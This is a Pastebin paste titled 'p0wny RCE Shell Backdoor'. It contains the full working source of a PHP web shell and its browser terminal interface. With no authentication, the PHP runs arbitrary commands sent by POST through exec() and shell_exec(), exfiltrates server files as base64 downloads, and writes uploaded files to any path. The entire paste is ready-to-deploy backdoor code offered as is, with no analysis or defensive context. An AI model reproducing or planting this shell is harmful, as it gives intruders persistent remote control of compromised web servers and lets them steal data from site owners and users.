cdw1p

[PHP] p0wny RCE Shell Backdoor

Apr 19th, 2019
373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.59 KB | None | 0 0
  1. <?php
  2.  
  3. function featureShell($cmd, $cwd) {
  4.     $stdout = array();
  5.  
  6.     if (preg_match("/^\s*cd\s*$/", $cmd)) {
  7.         // pass
  8.     } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
  9.         chdir($cwd);
  10.         preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  11.         chdir($match[1]);
  12.     } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
  13.         chdir($cwd);
  14.         preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  15.         return featureDownload($match[1]);
  16.     } else {
  17.         chdir($cwd);
  18.         exec($cmd, $stdout);
  19.     }
  20.  
  21.     return array(
  22.         "stdout" => $stdout,
  23.         "cwd" => getcwd()
  24.     );
  25. }
  26.  
  27. function featurePwd() {
  28.     return array("cwd" => getcwd());
  29. }
  30.  
  31. function featureHint($fileName, $cwd, $type) {
  32.     chdir($cwd);
  33.     if ($type == 'cmd') {
  34.         $cmd = "compgen -c $fileName";
  35.     } else {
  36.         $cmd = "compgen -f $fileName";
  37.     }
  38.     $cmd = "/bin/bash -c \"$cmd\"";
  39.     $files = explode("\n", shell_exec($cmd));
  40.     return array(
  41.         'files' => $files,
  42.     );
  43. }
  44.  
  45. function featureDownload($filePath) {
  46.     $file = @file_get_contents($filePath);
  47.     if ($file === FALSE) {
  48.         return array(
  49.             'stdout' => array('File not found / no read permission.'),
  50.             'cwd' => getcwd()
  51.         );
  52.     } else {
  53.         return array(
  54.             'name' => basename($filePath),
  55.             'file' => base64_encode($file)
  56.         );
  57.     }
  58. }
  59.  
  60. function featureUpload($path, $file, $cwd) {
  61.     chdir($cwd);
  62.     $f = @fopen($path, 'wb');
  63.     if ($f === FALSE) {
  64.         return array(
  65.             'stdout' => array('Invalid path / no write permission.'),
  66.             'cwd' => getcwd()
  67.         );
  68.     } else {
  69.         fwrite($f, base64_decode($file));
  70.         fclose($f);
  71.         return array(
  72.             'stdout' => array('Done.'),
  73.             'cwd' => getcwd()
  74.         );
  75.     }
  76. }
  77.  
  78. if (isset($_GET["feature"])) {
  79.  
  80.     $response = NULL;
  81.  
  82.     switch ($_GET["feature"]) {
  83.         case "shell":
  84.             $cmd = $_POST['cmd'];
  85.             if (!preg_match('/2>/', $cmd)) {
  86.                 $cmd .= ' 2>&1';
  87.             }
  88.             $response = featureShell($cmd, $_POST["cwd"]);
  89.             break;
  90.         case "pwd":
  91.             $response = featurePwd();
  92.             break;
  93.         case "hint":
  94.             $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
  95.             break;
  96.         case 'upload':
  97.             $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
  98.     }
  99.  
  100.     header("Content-Type: application/json");
  101.     echo json_encode($response);
  102.     die();
  103. }
  104.  
  105. ?><!DOCTYPE html>
  106.  
  107. <html>
  108.  
  109.     <head>
  110.         <meta charset="UTF-8" />
  111.         <title>p0wny@shell:~#</title>
  112.         <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  113.         <style>
  114.             html, body {
  115.                 margin: 0;
  116.                 padding: 0;
  117.                 background: #333;
  118.                 color: #eee;
  119.                 font-family: monospace;
  120.             }
  121.  
  122.             #shell {
  123.                 background: #222;
  124.                 max-width: 800px;
  125.                 margin: 50px auto 0 auto;
  126.                 box-shadow: 0 0 5px rgba(0, 0, 0, .3);
  127.                 font-size: 10pt;
  128.                 display: flex;
  129.                 flex-direction: column;
  130.                 align-items: stretch;
  131.             }
  132.  
  133.             #shell-content {
  134.                 height: 500px;
  135.                 overflow: auto;
  136.                 padding: 5px;
  137.                 white-space: pre-wrap;
  138.                 flex-grow: 1;
  139.             }
  140.  
  141.             #shell-logo {
  142.                 font-weight: bold;
  143.                 color: #FF4180;
  144.                 text-align: center;
  145.             }
  146.  
  147.             @media (max-width: 991px) {
  148.                 #shell-logo {
  149.                     display: none;
  150.                 }
  151.  
  152.                 html, body, #shell {
  153.                     height: 100%;
  154.                     width: 100%;
  155.                     max-width: none;
  156.                 }
  157.  
  158.                 #shell {
  159.                     margin-top: 0;
  160.                 }
  161.             }
  162.  
  163.             @media (max-width: 767px) {
  164.                 #shell-input {
  165.                     flex-direction: column;
  166.                 }
  167.             }
  168.  
  169.             .shell-prompt {
  170.                 font-weight: bold;
  171.                 color: #75DF0B;
  172.             }
  173.  
  174.             .shell-prompt > span {
  175.                 color: #1BC9E7;
  176.             }
  177.  
  178.             #shell-input {
  179.                 display: flex;
  180.                 box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
  181.                 border-top: rgba(255, 255, 255, .05) solid 1px;
  182.             }
  183.  
  184.             #shell-input > label {
  185.                 flex-grow: 0;
  186.                 display: block;
  187.                 padding: 0 5px;
  188.                 height: 30px;
  189.                 line-height: 30px;
  190.             }
  191.  
  192.             #shell-input #shell-cmd {
  193.                 height: 30px;
  194.                 line-height: 30px;
  195.                 border: none;
  196.                 background: transparent;
  197.                 color: #eee;
  198.                 font-family: monospace;
  199.                 font-size: 10pt;
  200.                 width: 100%;
  201.                 align-self: center;
  202.             }
  203.  
  204.             #shell-input div {
  205.                 flex-grow: 1;
  206.                 align-items: stretch;
  207.             }
  208.  
  209.             #shell-input input {
  210.                 outline: none;
  211.             }
  212.         </style>
  213.  
  214.         <script>
  215.             var CWD = null;
  216.             var commandHistory = [];
  217.             var historyPosition = 0;
  218.             var eShellCmdInput = null;
  219.             var eShellContent = null;
  220.  
  221.             function _insertCommand(command) {
  222.                 eShellContent.innerHTML += "\n\n";
  223.                 eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
  224.                 eShellContent.innerHTML += escapeHtml(command);
  225.                 eShellContent.innerHTML += "\n";
  226.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  227.             }
  228.  
  229.             function _insertStdout(stdout) {
  230.                 eShellContent.innerHTML += escapeHtml(stdout);
  231.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  232.             }
  233.  
  234.             function featureShell(command) {
  235.  
  236.                 _insertCommand(command);
  237.                 if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
  238.                     featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
  239.                 } else {
  240.                     makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
  241.                         if (response.hasOwnProperty('file')) {
  242.                             featureDownload(response.name, response.file)
  243.                         } else {
  244.                             _insertStdout(response.stdout.join("\n"));
  245.                             updateCwd(response.cwd);
  246.                         }
  247.                     });
  248.                 }
  249.             }
  250.  
  251.             function featureHint() {
  252.                 if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
  253.  
  254.                 function _requestCallback(data) {
  255.                     if (data.files.length <= 1) return;  // no completion
  256.  
  257.                     if (data.files.length === 2) {
  258.                         if (type === 'cmd') {
  259.                             eShellCmdInput.value = data.files[0];
  260.                         } else {
  261.                             var currentValue = eShellCmdInput.value;
  262.                             eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
  263.                         }
  264.                     } else {
  265.                         _insertCommand(eShellCmdInput.value);
  266.                         _insertStdout(data.files.join("\n"));
  267.                     }
  268.                 }
  269.  
  270.                 var currentCmd = eShellCmdInput.value.split(" ");
  271.                 var type = (currentCmd.length === 1) ? "cmd" : "file";
  272.                 var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
  273.  
  274.                 makeRequest(
  275.                     "?feature=hint",
  276.                     {
  277.                         filename: fileName,
  278.                         cwd: CWD,
  279.                         type: type
  280.                     },
  281.                     _requestCallback
  282.                 );
  283.  
  284.             }
  285.  
  286.             function featureDownload(name, file) {
  287.                 var element = document.createElement('a');
  288.                 element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
  289.                 element.setAttribute('download', name);
  290.                 element.style.display = 'none';
  291.                 document.body.appendChild(element);
  292.                 element.click();
  293.                 document.body.removeChild(element);
  294.                 _insertStdout('Done.');
  295.             }
  296.  
  297.             function featureUpload(path) {
  298.                 var element = document.createElement('input');
  299.                 element.setAttribute('type', 'file');
  300.                 element.style.display = 'none';
  301.                 document.body.appendChild(element);
  302.                 element.addEventListener('change', function () {
  303.                     var promise = getBase64(element.files[0]);
  304.                     promise.then(function (file) {
  305.                         makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
  306.                             _insertStdout(response.stdout.join("\n"));
  307.                             updateCwd(response.cwd);
  308.                         });
  309.                     }, function () {
  310.                         _insertStdout('An unknown client-side error occurred.');
  311.                     });
  312.                 });
  313.                 element.click();
  314.                 document.body.removeChild(element);
  315.             }
  316.  
  317.             function getBase64(file, onLoadCallback) {
  318.                 return new Promise(function(resolve, reject) {
  319.                     var reader = new FileReader();
  320.                     reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
  321.                     reader.onerror = reject;
  322.                     reader.readAsDataURL(file);
  323.                 });
  324.             }
  325.  
  326.             function genPrompt(cwd) {
  327.                 cwd = cwd || "~";
  328.                 var shortCwd = cwd;
  329.                 if (cwd.split("/").length > 3) {
  330.                     var splittedCwd = cwd.split("/");
  331.                     shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
  332.                 }
  333.                 return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
  334.             }
  335.  
  336.             function updateCwd(cwd) {
  337.                 if (cwd) {
  338.                     CWD = cwd;
  339.                     _updatePrompt();
  340.                     return;
  341.                 }
  342.                 makeRequest("?feature=pwd", {}, function(response) {
  343.                     CWD = response.cwd;
  344.                     _updatePrompt();
  345.                 });
  346.  
  347.             }
  348.  
  349.             function escapeHtml(string) {
  350.                 return string
  351.                     .replace(/&/g, "&amp;")
  352.                     .replace(/</g, "&lt;")
  353.                     .replace(/>/g, "&gt;");
  354.             }
  355.  
  356.             function _updatePrompt() {
  357.                 var eShellPrompt = document.getElementById("shell-prompt");
  358.                 eShellPrompt.innerHTML = genPrompt(CWD);
  359.             }
  360.  
  361.             function _onShellCmdKeyDown(event) {
  362.                 switch (event.key) {
  363.                     case "Enter":
  364.                         featureShell(eShellCmdInput.value);
  365.                         insertToHistory(eShellCmdInput.value);
  366.                         eShellCmdInput.value = "";
  367.                         break;
  368.                     case "ArrowUp":
  369.                         if (historyPosition > 0) {
  370.                             historyPosition--;
  371.                             eShellCmdInput.blur();
  372.                             eShellCmdInput.focus();
  373.                             eShellCmdInput.value = commandHistory[historyPosition];
  374.                         }
  375.                         break;
  376.                     case "ArrowDown":
  377.                         if (historyPosition >= commandHistory.length) {
  378.                             break;
  379.                         }
  380.                         historyPosition++;
  381.                         if (historyPosition === commandHistory.length) {
  382.                             eShellCmdInput.value = "";
  383.                         } else {
  384.                             eShellCmdInput.blur();
  385.                             eShellCmdInput.focus();
  386.                             eShellCmdInput.value = commandHistory[historyPosition];
  387.                         }
  388.                         break;
  389.                     case 'Tab':
  390.                         event.preventDefault();
  391.                         featureHint();
  392.                         break;
  393.                 }
  394.             }
  395.  
  396.             function insertToHistory(cmd) {
  397.                 commandHistory.push(cmd);
  398.                 historyPosition = commandHistory.length;
  399.             }
  400.  
  401.             function makeRequest(url, params, callback) {
  402.                 function getQueryString() {
  403.                     var a = [];
  404.                     for (var key in params) {
  405.                         if (params.hasOwnProperty(key)) {
  406.                             a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
  407.                         }
  408.                     }
  409.                     return a.join("&");
  410.                 }
  411.                 var xhr = new XMLHttpRequest();
  412.                 xhr.open("POST", url, true);
  413.                 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  414.                 xhr.onreadystatechange = function() {
  415.                     if (xhr.readyState === 4 && xhr.status === 200) {
  416.                         try {
  417.                             var responseJson = JSON.parse(xhr.responseText);
  418.                             callback(responseJson);
  419.                         } catch (error) {
  420.                             alert("Error while parsing response: " + error);
  421.                         }
  422.                     }
  423.                 };
  424.                 xhr.send(getQueryString());
  425.             }
  426.  
  427.             window.onload = function() {
  428.                 eShellCmdInput = document.getElementById("shell-cmd");
  429.                 eShellContent = document.getElementById("shell-content");
  430.                 updateCwd();
  431.                 eShellCmdInput.focus();
  432.             };
  433.         </script>
  434.     </head>
  435.  
  436.     <body>
  437.         <div id="shell">
  438.             <pre id="shell-content">
  439.                 <div id="shell-logo">
  440.         ___                         ____      _          _ _        _  _   <span></span>
  441.  _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
  442. | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
  443. | |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
  444. | .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
  445. |_|                         |___/  \____/                                  <span></span>
  446.                 </div>
  447.             </pre>
  448.             <div id="shell-input">
  449.                 <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
  450.                 <div>
  451.                     <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
  452.                 </div>
  453.             </div>
  454.         </div>
  455.     </body>
  456.  
  457. </html>
Add Comment
Please, Sign In to add comment